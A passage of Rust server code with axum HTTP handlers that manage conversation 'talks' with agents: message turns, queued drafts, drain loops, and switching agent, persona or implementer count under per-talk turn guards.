9978        blocking(move || {
9979            ids.into_iter()
9980                .map(|att_id| {
9981                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9982                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9983                    })
9984                })
9985                .collect::<ApiResult<Vec<talk::Attachment>>>()
9986        })
9987        .await?
9988    };
9989    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9990        .await.map_err(ApiError::from)?;
9991
9992    // Pending recovery and a new immediate turn are decided under the same
9993    // claim lock. Without that one critical section, a second `/say` can see
9994    // the first request's claim as "busy" and append itself to the recovered
9995    // draft before the first request rejects it.
9996    let start = {
9997        let ui = Arc::clone(&ui);
9998        let id = id.clone();
9999        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
10000    };
10001    let turn_guard = match start {
10002        TalkTurnStart::Claimed(turn_guard) => turn_guard,
10003        TalkTurnStart::Pending => {
10004            return Err(ApiError::conflict(
10005                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
10006            ));
10007        }
10008        TalkTurnStart::Foreign => {
10009            return Err(ApiError::conflict(
10010                "a turn is already running in another process; try again when it has finished",
10011            ));
10012        }
10013        TalkTurnStart::Busy => {
10014            // A turn is already running: queue rather than refuse. See
10015            // `Ui::begin_talk_turn` and `talk::queue`.
10016            //
10017            // The queue write and the drain it may owe live inside the task
10018            // `tokio::spawn` hands to the runtime, for the same reason the
10019            // immediate path below puts `record` there: a dropped handler
10020            // future must not be able to land between a durable write and
10021            // the task that answers it. `blocking` runs its closure on
10022            // `spawn_blocking`, which finishes whether or not anyone is left
10023            // to receive its result - so a disconnect at the `.await` below
10024            // would otherwise leave the draft persisted and the reclaimed
10025            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10026            // ever started and the queued text stranded until some later
10027            // `say` happened to pick it up. The caller's 202 travels back
10028            // over a `oneshot`, sent the moment the write lands.
10029            let (tx, rx) = tokio::sync::oneshot::channel();
10030            tokio::spawn({
10031                let ui = Arc::clone(&ui);
10032                let id = id.clone();
10033                let said = body.text.clone();
10034                let reply_to = body.reply_to.clone();
10035                async move {
10036                    let written = blocking({
10037                        let ui = Arc::clone(&ui);
10038                        let id = id.clone();
10039                        move || {
10040                            let mut talk = ui.talks.get(&id)?;
10041                            // A test-only stop point, right before the write
10042                            // an interleaving test needs to pin - see
10043                            // `BusyQueueGate`. `None` in every real server:
10044                            // the field only exists under `#[cfg(test)]`.
10045                            #[cfg(test)]
10046                            if let Some(gate) = ui
10047                                .busy_queue_gate
10048                                .lock()
10049                                .unwrap_or_else(PoisonError::into_inner)
10050                                .take()
10051                            {
10052                                let _ = gate.reached.send(());
10053                                let _ = gate.release.recv();
10054                            }
10055                            if let Err(error) = talk::queue_reply(
10056                                &mut talk,
10057                                &ui.talks,
10058                                &said,
10059                                attachments,
10060                                reply_to,
10061                            ) {
10062                                if let Ok(fresh) = ui.talks.get(&id) {
10063                                    if !fresh.status.open() {
10064                                        return Err(ApiError::conflict(format!(
10065                                            "talk {} is {} and takes no more turns",
10066                                            fresh.short(),
10067                                            fresh.status.as_str()
10068                                        )));
10069                                    }
10070                                }
10071                                return Err(
10072                                    if error.to_string().contains("invalid reply target") {
10073                                        ApiError::bad_request("invalid reply target")
10074                                    } else {
10075                                        ApiError::from(error)
10076                                    },
10077                                );
10078                            }
10079                            // The turn that looked busy a moment ago can have
10080                            // finished, found nothing to drain and given up the
10081                            // slot in the gap between that check and this write
10082                            // landing - see `drain_loop`'s own doc for the other
10083                            // half of why that gap would otherwise be able to
10084                            // open at all. Reclaiming the slot here, rather than
10085                            // trusting that whoever held it is still watching, is
10086                            // what stops the text just queued from being stranded
10087                            // until an unrelated future `say` happens to drain
10088                            // it.
10089                            let claim = match ui.begin_queued_talk_turn(&id)? {
10090                                Some(turn_guard) => {
10091                                    let cfg = talk.config()?;
10092                                    Some((talk.clone(), cfg, turn_guard))
10093                                }
10094                                None => None,
10095                            };
10096                            let thinking = ui.is_thinking(&id);
10097                            Ok((TalkView::new(talk, thinking, &ui), claim))
10098                        }
10099                    })
10100                    .await;
10101                    #[cfg(not(test))]
10102                    {
10103                        match written {
10104                            Ok((view, reclaimed)) => {
10105                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10106                                drop(reclaimed);
10107                                match launched {
10108                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10109                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10110                                }
10111                            }
10112                            Err(error) => { let _ = tx.send(Err(error)); }
10113                        }
10114                    }
10115                    #[cfg(test)]
10116                    {
10117                    let (view, reclaimed) = match written {
10118                        Ok(pair) => pair,
10119                        Err(e) => {
10120                            // Nobody is listening if the handler's own future
10121                            // was already dropped - that is fine, nothing was
10122                            // persisted and there is no response left to carry
10123                            // this error to.
10124                            let _ = tx.send(Err(e));
10125                            return;
10126                        }
10127                    };
10128                    // If this fails, the caller is gone; the drain below still
10129                    // runs exactly as it would have for a caller that stayed.
10130                    let _ = tx.send(Ok(view));
10131                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10132                        let talks = ui.talks.clone();
10133                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10134                    }
10135                    }
10136                }
10137            });
10138            let view = rx
10139                .await
10140                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10141            return Ok((StatusCode::ACCEPTED, Json(view)));
10142        }
10143    };
10144
10145    let (talk, cfg) = {
10146        let ui = Arc::clone(&ui);
10147        let id = id.clone();
10148        blocking(move || {
10149            let talk = ui.talks.get(&id)?;
10150            let cfg = talk.config()?;
10151            Ok((talk, cfg))
10152        })
10153        .await?
10154    };
10155
10156    let talks = ui.talks.clone();
10157    // `record` runs *inside* the spawned task, rather than in this handler
10158    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10159    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10160    // doc), and that drop can land at any `.await` this function makes,
10161    // including one that has already produced its result but not yet
10162    // resumed. A message could end up recorded on disk with the handler
10163    // future gone before it ever reached the `tokio::spawn` that would have
10164    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10165    // that hands the whole future to the runtime as one unit - once made, no
10166    // later drop of *this* handler's own future (that call's return value is
10167    // never held onto here) can reach back in and stop it, so record and the
10168    // hand-off to `respond` are unconditionally atomic from the client's
10169    // point of view. The immediate response this handler owes the caller
10170    // travels back over a `oneshot`, sent the moment `record` succeeds.
10171    let (tx, rx) = tokio::sync::oneshot::channel();
10172    tokio::spawn({
10173        #[cfg(test)]
10174        let ui = Arc::clone(&ui);
10175        let talks = talks.clone();
10176        let id = id.clone();
10177        let said = body.text.clone();
10178        let reply_to = body.reply_to.clone();
10179        let mut talk = talk.clone();
10180        async move {
10181            let recorded = blocking({
10182                let talks = talks.clone();
10183                move || {
10184                    if let Err(error) =
10185                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10186                    {
10187                        if let Ok(fresh) = talks.get(&talk.id) {
10188                            if !fresh.status.open() {
10189                                return Err(ApiError::conflict(format!(
10190                                    "talk {} is {} and takes no more turns",
10191                                    fresh.short(),
10192                                    fresh.status.as_str()
10193                                )));
10194                            }
10195                        }
10196                        return Err(if error.to_string().contains("invalid reply target") {
10197                            ApiError::bad_request("invalid reply target")
10198                        } else {
10199                            ApiError::from(error)
10200                        });
10201                    }
10202                    // `record` mutates `talk` in place to the freshly persisted
10203                    // state (status, pending, and the just-appended operator
10204                    // turn), so returning it here is equivalent to re-reading it
10205                    // from disk - without the extra round trip a re-read would
10206                    // need.
10207                    Ok((said.trim().to_owned(), talk))
10208                }
10209            })
10210            .await;
10211            let (text, talk) = match recorded {
10212                Ok(pair) => pair,
10213                Err(e) => {
10214                    // Nobody is listening if the handler's own future was
10215                    // already dropped - that is fine, there is no response
10216                    // left to carry this error to and nothing was persisted.
10217                    let _ = tx.send(Err(e));
10218                    return;
10219                }
10220            };
10221            #[cfg(not(test))]
10222            {
10223                let _ = (&cfg, &text);
10224                // The reservation becomes durable while this process still
10225                // holds the talk lease. The child waits for that lease; the
10226                // new UI sees its startup reservation immediately.
10227                let result = crate::chat_worker::spawn_recorded_turn(
10228                    &talks, &id, talk.turns.len() - 1,
10229                ).await;
10230                drop(turn_guard);
10231                match result {
10232                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10233                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10234                }
10235            }
10236            #[cfg(test)]
10237            {
10238            let queued = talk.clone();
10239            let mut talk = talk;
10240            let thinking = ui.is_thinking(&id);
10241            // If this fails, the caller is gone; the turn still runs below
10242            // exactly as it would have for a caller that stayed connected.
10243            let _ = tx.send(Ok((queued, thinking)));
10244
10245            let turn_index = talk.turns.len() - 1;
10246            if let Err(e) = turn_guard
10247                .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10248                .await
10249            {
10250                // `respond` records the failure in the transcript itself,
10251                // which is what the phone reads; this line is for the
10252                // operator's terminal.
10253                tracing::warn!("talk {id} turn failed: {e:#}");
10254            }
10255            // Anything `talk::queue` added while the turn above was running
10256            // is still owed an answer - see `drain_loop`.
10257            drain_loop(talk, talks, cfg, id, turn_guard).await;
10258            }
10259        }
10260    });
10261
10262    let (queued, thinking) = rx
10263        .await
10264        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10265
10266    // 202: the operator's message is recorded and a turn is running.
10267    Ok((
10268        StatusCode::ACCEPTED,
10269        Json(TalkView::new(queued, thinking, &ui)),
10270    ))
10271    }).await
10272}
10273
10274/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10275/// changing it. The turn guard is the same per-talk ownership `talk_say`
10276/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10277async fn talk_pending_resume(
10278    State(ui): State<Arc<Ui>>,
10279    Path(id): Path<String>,
10280) -> ApiResult<(StatusCode, Json<TalkView>)> {
10281    let admission = ui.begin_admission()?;
10282    admitted(admission, async move {
10283        let id = {
10284            let ui = Arc::clone(&ui);
10285            let asked = id.clone();
10286            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10287        };
10288        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10289            .await
10290            .map_err(ApiError::from)?;
10291        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10292            return Err(ApiError::conflict(
10293                "a talk turn is already running; the queued draft will be handled by it",
10294            ));
10295        };
10296        let (talk, cfg) = {
10297            let ui = Arc::clone(&ui);
10298            let id = id.clone();
10299            blocking(move || {
10300                let talk = ui.talks.get(&id)?;
10301                if !talk.status.open() {
10302                    return Err(ApiError::conflict(format!(
10303                        "talk {} is {} and takes no more turns",
10304                        talk.short(),
10305                        talk.status.as_str()
10306                    )));
10307                }
10308                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10309                    return Err(ApiError::conflict("there is no queued draft to resume"));
10310                }
10311                let cfg = talk.config()?;
10312                Ok((talk, cfg))
10313            })
10314            .await?
10315        };
10316        let view = TalkView::new(talk.clone(), true, &ui);
10317        let talks = ui.talks.clone();
10318        #[cfg(not(test))]
10319        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10320        #[cfg(test)]
10321        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10322        Ok((StatusCode::ACCEPTED, Json(view)))
10323    })
10324    .await
10325}
10326
10327/// Hand off an admitted draft while retaining the talk lease until its
10328/// detached startup reservation is durable.
10329#[cfg(not(test))]
10330async fn detach_talk_turn(
10331    _talk: Talk,
10332    talks: Talks,
10333    _cfg: Config,
10334    id: String,
10335    turn: TalkTurnGuard,
10336) -> ApiResult<()> {
10337    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10338    drop(turn);
10339    launched.map(|_| ()).map_err(ApiError::from)
10340}
10341
10342#[cfg(test)]
10343async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10344    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10345}
10346
10347/// A settings response must not report idle while its claim is still held.
10348/// Wait until the first drain either releases the claim or promotes a draft.
10349/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10350async fn settle_settings_turn(
10351    talk: Talk,
10352    talks: Talks,
10353    cfg: Config,
10354    id: String,
10355    turn: TalkTurnGuard,
10356    observed: u64,
10357) -> bool {
10358    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10359        let turns = Arc::clone(&turn.turns);
10360        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10361        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10362            // Release under the arrival lock; a later `/say` takes its own claim.
10363            turn.release(&mut live);
10364            return false;
10365        }
10366    }
10367    let (started, settled) = tokio::sync::oneshot::channel();
10368    tokio::spawn(drain_loop_started(
10369        talk,
10370        talks,
10371        cfg,
10372        id,
10373        turn,
10374        Some(started),
10375    ));
10376    settled.await.unwrap_or(false)
10377}
10378
10379#[cfg(not(test))]
10380async fn drain_loop_started(
10381    talk: Talk,
10382    talks: Talks,
10383    _cfg: Config,
10384    id: String,
10385    turn: TalkTurnGuard,
10386    started: Option<tokio::sync::oneshot::Sender<bool>>,
10387) {
10388    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10389    let running = if pending {
10390        match crate::chat_worker::spawn_turn(&talks, &id).await {
10391            Ok(_) => true,
10392            Err(error) => {
10393                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10394                false
10395            }
10396        }
10397    } else {
10398        false
10399    };
10400    drop(turn);
10401    if let Some(started) = started {
10402        let _ = started.send(running);
10403    }
10404}
10405
10406// Existing in-process conversation tests exercise transcript/arrival ordering;
10407// real process-lifetime behavior is covered by the CLI integration tests.
10408#[cfg(test)]
10409async fn drain_loop_started(
10410    mut talk: Talk,
10411    talks: Talks,
10412    cfg: Config,
10413    id: String,
10414    turn: TalkTurnGuard,
10415    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10416) {
10417    let live_set = Arc::clone(&turn.turns);
10418    // `Option` rather than binding `turn` directly to a `_turn` that lives
10419    // for the whole function: releasing it has to happen by calling
10420    // `TalkTurnGuard::release` from inside the locked branch below, which
10421    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10422    // remove the id - correctly, if this loop is ever left some other way -
10423    // but doing it there misses the lock this loop is already holding, which
10424    // is the exact gap `release` exists to close.
10425    let mut turn = Some(turn);
10426    loop {
10427        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10428            // The lease was taken over while a turn ran. Whatever is queued
10429            // stays a draft; running it here would race the new owner.
10430            tracing::warn!("talk {id} lost its turn lease; not draining further");
10431            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10432            if let Some(turn) = turn.take() {
10433                turn.release(&mut live);
10434            }
10435            break;
10436        }
10437        // `talk::drain` takes the store lock and can write/rename the talk
10438        // file. Keep the turn mutex out of that synchronous work: it protects
10439        // every talk's in-memory claim, not this talk's disk operation.
10440        let observed = live_set
10441            .lock()
10442            .unwrap_or_else(PoisonError::into_inner)
10443            .queued
10444            .get(&id)
10445            .copied()
10446            .unwrap_or(0);
10447        let drained = blocking({
10448            let talks = talks.clone();
10449            move || {
10450                let result = talk::drain_indexed(&mut talk, &talks);
10451                Ok((talk, result))
10452            }
10453        })
10454        .await;
10455        let (next_talk, result) = match drained {
10456            Ok(drained) => drained,
10457            Err(e) => {
10458                tracing::warn!(
10459                    status = %e.status,
10460                    message = %e.message,
10461                    "talk {id} could not start queued-text drain"
10462                );
10463                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10464                turn.take()
10465                    .expect("held for the whole loop until released here")
10466                    .release(&mut live);
10467                break;
10468            }
10469        };
10470        talk = next_talk;
10471        let (drained, drained_index) = match result {
10472            Ok(Some(drained)) => drained,
10473            Ok(None) => {
10474                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10475                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10476                    continue;
10477                }
10478                turn.take()
10479                    .expect("held for the whole loop until released here")
10480                    .release(&mut live);
10481                break;
10482            }
10483            Err(e) => {
10484                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10485                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10486                turn.take()
10487                    .expect("held for the whole loop until released here")
10488                    .release(&mut live);
10489                break;
10490            }
10491        };
10492        if let Some(started) = started.take() {
10493            let _ = started.send(true);
10494        }
10495        let responded = match turn.as_ref() {
10496            Some(turn) => {
10497                turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10498                    .await
10499            }
10500            None => Err(anyhow::anyhow!("the turn guard was released")),
10501        };
10502        if let Err(e) = responded {
10503            tracing::warn!("talk {id} turn failed: {e:#}");
10504        }
10505    }
10506    drop(turn);
10507    if let Some(started) = started {
10508        let _ = started.send(false);
10509    }
10510}
10511
10512/// Clear a queued draft only if it remains exactly the one the caller saw.
10513async fn talk_pending_clear(
10514    State(ui): State<Arc<Ui>>,
10515    Path(id): Path<String>,
10516    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10517) -> ApiResult<Json<TalkView>> {
10518    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10519    blocking(move || {
10520        let id = resolve_talk(&ui.talks, &id)?;
10521        let mut talk = ui.talks.get(&id)?;
10522        if !talk.status.open() {
10523            return Err(ApiError::conflict(format!(
10524                "talk {} is {} and takes no more turns",
10525                talk.short(),
10526                talk.status.as_str()
10527            )));
10528        }
10529        if !talk::clear_pending_if_matches(
10530            &mut talk,
10531            &ui.talks,
10532            &body.expected_text,
10533            &body.expected_attachments,
10534        )? {
10535            return Err(ApiError::conflict(
10536                "queued message changed; reload it before clearing",
10537            ));
10538        }
10539        let thinking = ui.is_thinking(&talk.id);
10540        Ok(Json(TalkView::new(talk, thinking, &ui)))
10541    })
10542    .await
10543}
10544
10545/// Atomically edit a queued draft's text while preserving its attachments.
10546/// The snapshot fields make a concurrent queue or drain a conflict rather
10547/// than silently discarding either message.
10548async fn talk_pending_edit(
10549    State(ui): State<Arc<Ui>>,
10550    Path(id): Path<String>,
10551    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10552) -> ApiResult<Json<TalkView>> {
10553    let admission = ui.begin_admission()?;
10554    admitted(admission, async move {
10555        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10556        let id = {
10557            let ui = Arc::clone(&ui);
10558            blocking(move || resolve_talk(&ui.talks, &id)).await?
10559        };
10560        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10561            .await
10562            .map_err(ApiError::from)?;
10563        let (view, reclaimed) = blocking({
10564            let ui = Arc::clone(&ui);
10565            move || {
10566                let mut talk = ui.talks.get(&id)?;
10567                if !talk.status.open() {
10568                    return Err(ApiError::conflict(format!(
10569                        "talk {} is {} and takes no more turns",
10570                        talk.short(),
10571                        talk.status.as_str()
10572                    )));
10573                }
10574                if !talk::edit_pending_message(
10575                    &mut talk,
10576                    &ui.talks,
10577                    &body.text,
10578                    &body.expected_text,
10579                    &body.expected_attachments,
10580                    body.message,
10581                )? {
10582                    return Err(ApiError::conflict(
10583                        "queued message changed; reload it before editing",
10584                    ));
10585                }
10586                let claim = match ui.begin_queued_talk_turn(&id)? {
10587                    Some(turn_guard) => {
10588                        let cfg = talk.config()?;
10589                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10590                    }
10591                    None => None,
10592                };
10593                let thinking = ui.is_thinking(&id);
10594                Ok((TalkView::new(talk, thinking, &ui), claim))
10595            }
10596        })
10597        .await?;
10598        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10599            let talks = ui.talks.clone();
10600            #[cfg(not(test))]
10601            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10602            #[cfg(test)]
10603            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10604        }
10605        Ok(Json(view))
10606    })
10607    .await
10608}
10609
10610/// The 409 for a talk that takes no more turns.
10611fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10612    if talk.status.open() {
10613        return Ok(());
10614    }
10615    Err(ApiError::conflict(format!(
10616        "talk {} is {} and takes no more turns",
10617        talk.short(),
10618        talk.status.as_str()
10619    )))
10620}
10621
10622/// The body of `POST /api/talks/{id}/agent`.
10623#[derive(Debug, Deserialize)]
10624struct TalkAgent {
10625    agent: String,
10626}
10627
10628/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10629/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10630/// start a turn on the old session between the check and the write; one that
10631/// arrives in that window finds the talk busy and becomes a draft.
10632async fn talk_agent(
10633    State(ui): State<Arc<Ui>>,
10634    Path(id): Path<String>,
10635    Json(body): Json<TalkAgent>,
10636) -> ApiResult<Json<TalkView>> {
10637    let admission = ui.begin_admission()?;
10638    admitted(admission, async move {
10639        let id = {
10640            let ui = Arc::clone(&ui);
10641            blocking(move || resolve_talk(&ui.talks, &id)).await?
10642        };
10643        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10644            .await
10645            .map_err(ApiError::from)?;
10646        let cfg = {
10647            let ui = Arc::clone(&ui);
10648            let id = id.clone();
10649            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10650        };
10651        // Refuse before taking the claim; see `talk_implementers`.
10652        {
10653            let ui = Arc::clone(&ui);
10654            let id = id.clone();
10655            let cfg = cfg.clone();
10656            let wanted = body.agent.clone();
10657            blocking(move || {
10658                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10659                    .map_err(ApiError::bad_request_from)?;
10660                refuse_if_closed(&ui.talks.get(&id)?)
10661            })
10662            .await?;
10663        }
10664        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10665            return Err(ApiError::conflict(
10666                "a talk turn is running; change the agent once it has answered",
10667            ));
10668        };
10669        let switched = {
10670            let ui = Arc::clone(&ui);
10671            let id = id.clone();
10672            let cfg = cfg.clone();
10673            blocking(move || {
10674                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10675                    .map_err(ApiError::bad_request_from)?;
10676                let mut talk = ui.talks.get(&id)?;
10677                if !talk.status.open() {
10678                    return Err(ApiError::conflict(format!(
10679                        "talk {} is {} and takes no more turns",
10680                        talk.short(),
10681                        talk.status.as_str()
10682                    )));
10683                }
10684                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10685                Ok(talk)
10686            })
10687            .await
10688        };
10689        // A `/say` that landed while this held the claim saw the talk busy and
10690        // left a durable draft, trusting the claim's owner to drain it. So the
10691        // claim is settled whatever the outcome. Release an empty draft's claim
10692        // before replying; queued drafts continue independently of the handler.
10693        let observed = ui.queued_generation(&id);
10694        let fresh = {
10695            let ui = Arc::clone(&ui);
10696            let id = id.clone();
10697            blocking(move || Ok(ui.talks.get(&id)?)).await
10698        };
10699        let draining = match fresh {
10700            Ok(talk) => {
10701                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10702            }
10703            Err(_) => false,
10704        };
10705        let talk = switched?;
10706        Ok(Json(TalkView::new(talk, draining, &ui)))
10707    })
10708    .await
10709}
10710
10711/// The body of `POST /api/talks/{id}/persona`.
10712#[derive(Debug, Deserialize)]
10713struct TalkPersona {
10714    persona: String,
10715}
10716
10717/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10718/// like [`talk_agent`]: the turn guard is held for the change and always handed
10719/// to `drain_loop`, so a draft left meanwhile is not stranded.
10720async fn talk_persona(
10721    State(ui): State<Arc<Ui>>,
10722    Path(id): Path<String>,
10723    Json(body): Json<TalkPersona>,
10724) -> ApiResult<Json<TalkView>> {
10725    let admission = ui.begin_admission()?;
10726    admitted(admission, async move {
10727        let id = {
10728            let ui = Arc::clone(&ui);
10729            blocking(move || resolve_talk(&ui.talks, &id)).await?
10730        };
10731        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10732            .await
10733            .map_err(ApiError::from)?;
10734        let cfg = {
10735            let ui = Arc::clone(&ui);
10736            let id = id.clone();
10737            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10738        };
10739        // Refuse before taking the claim; see `talk_implementers`.
10740        {
10741            let ui = Arc::clone(&ui);
10742            let id = id.clone();
10743            let cfg = cfg.clone();
10744            let wanted = body.persona.clone();
10745            blocking(move || {
10746                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10747                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10748                }
10749                refuse_if_closed(&ui.talks.get(&id)?)
10750            })
10751            .await?;
10752        }
10753        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10754            return Err(ApiError::conflict(
10755                "a talk turn is running; change the persona once it has answered",
10756            ));
10757        };
10758        let switched = {
10759            let ui = Arc::clone(&ui);
10760            let id = id.clone();
10761            let cfg = cfg.clone();
10762            blocking(move || {
10763                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10764                    return Err(ApiError::bad_request(format!(
10765                        "unknown persona `{}`",
10766                        body.persona
10767                    )));
10768                };
10769                let mut talk = ui.talks.get(&id)?;
10770                if !talk.status.open() {
10771                    return Err(ApiError::conflict(format!(
10772                        "talk {} is {} and takes no more turns",
10773                        talk.short(),
10774                        talk.status.as_str()
10775                    )));
10776                }
10777                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10778                Ok(talk)
10779            })
10780            .await
10781        };
10782        // As in `talk_agent`: settle the claim before replying, even on refusal.
10783        let observed = ui.queued_generation(&id);
10784        let fresh = {
10785            let ui = Arc::clone(&ui);
10786            let id = id.clone();
10787            blocking(move || Ok(ui.talks.get(&id)?)).await
10788        };
10789        let draining = match fresh {
10790            Ok(talk) => {
10791                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10792            }
10793            Err(_) => false,
10794        };
10795        let talk = switched?;
10796        Ok(Json(TalkView::new(talk, draining, &ui)))
10797    })
10798    .await
10799}
10800
10801/// The body of `POST /api/talks/{id}/implementers`.
10802#[derive(Debug, Deserialize)]
10803struct TalkImplementers {
10804    implementers: u8,
10805}
10806
10807/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10808/// like [`talk_agent`]: the turn guard is held for the change and always handed
10809/// to `drain_loop`, so a draft left meanwhile is not stranded.
10810async fn talk_implementers(
10811    State(ui): State<Arc<Ui>>,
10812    Path(id): Path<String>,
10813    Json(body): Json<TalkImplementers>,
10814) -> ApiResult<Json<TalkView>> {
10815    let admission = ui.begin_admission()?;
10816    admitted(admission, async move {
10817        let id = {
10818            let ui = Arc::clone(&ui);
10819            blocking(move || resolve_talk(&ui.talks, &id)).await?
10820        };
10821        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10822            .await
10823            .map_err(ApiError::from)?;
10824        let cfg = {
10825            let ui = Arc::clone(&ui);
10826            let id = id.clone();
10827            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10828        };
10829        // Refuse a request that cannot succeed before taking the claim: a claim
10830        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10831        // moment, so a refusal would make the next request see "busy" instead of
10832        // its own answer. The checks after the claim stay the ones that decide.
10833        {
10834            let ui = Arc::clone(&ui);
10835            let id = id.clone();
10836            let cfg = cfg.clone();
10837            let wanted = body.implementers;
10838            blocking(move || {
10839                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10840                refuse_if_closed(&ui.talks.get(&id)?)
10841            })
10842            .await?;
10843        }
10844        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10845            return Err(ApiError::conflict(
10846                "a talk turn is running; change the implementers once it has answered",
10847            ));
10848        };
10849        let switched = {
10850            let ui = Arc::clone(&ui);
10851            let id = id.clone();
10852            let cfg = cfg.clone();
10853            blocking(move || {
10854                let chosen = talk::check_implementers(body.implementers, &cfg)
10855                    .map_err(ApiError::bad_request)?;
10856                let mut talk = ui.talks.get(&id)?;
10857                if !talk.status.open() {
10858                    return Err(ApiError::conflict(format!(
10859                        "talk {} is {} and takes no more turns",
10860                        talk.short(),
10861                        talk.status.as_str()
10862                    )));
10863                }
10864                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10865                Ok(talk)
10866            })
10867            .await
10868        };
10869        // As in `talk_agent`: settle the claim before replying, even on refusal.
10870        let observed = ui.queued_generation(&id);
10871        let fresh = {
10872            let ui = Arc::clone(&ui);
10873            let id = id.clone();
10874            blocking(move || Ok(ui.talks.get(&id)?)).await
10875        };
10876        let draining = match fresh {
10877            Ok(talk) => {
10878                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10879            }
10880            Err(_) => false,
10881        };
10882        let talk = switched?;
10883        Ok(Json(TalkView::new(talk, draining, &ui)))
10884    })
10885    .await
10886}
10887
10888/// `POST /api/talks/{id}/close`.
10889async fn talk_close(
10890    State(ui): State<Arc<Ui>>,
10891    Path(id): Path<String>,
10892) -> ApiResult<Json<TalkView>> {
10893    blocking(move || {
10894        let id = resolve_talk(&ui.talks, &id)?;
10895        let mut talk = ui.talks.get(&id)?;
10896        talk::close(&mut talk, &ui.talks).map_err(|error| {
10897            if error.is::<talk::ClosePendingInput>() {
10898                ApiError::conflict(format!("{error:#}"))
10899            } else {
10900                ApiError::from(error)
10901            }
10902        })?;
10903        let thinking = ui.is_thinking(&talk.id);
10904        Ok(Json(TalkView::new(talk, thinking, &ui)))
10905    })
10906    .await
10907}
10908
10909/// `POST /api/talks/{id}/reopen`.
10910async fn talk_reopen(
10911    State(ui): State<Arc<Ui>>,
10912    Path(id): Path<String>,
10913) -> ApiResult<Json<TalkView>> {
10914    blocking(move || {
10915        let id = resolve_talk(&ui.talks, &id)?;
10916        let mut talk = ui.talks.get(&id)?;
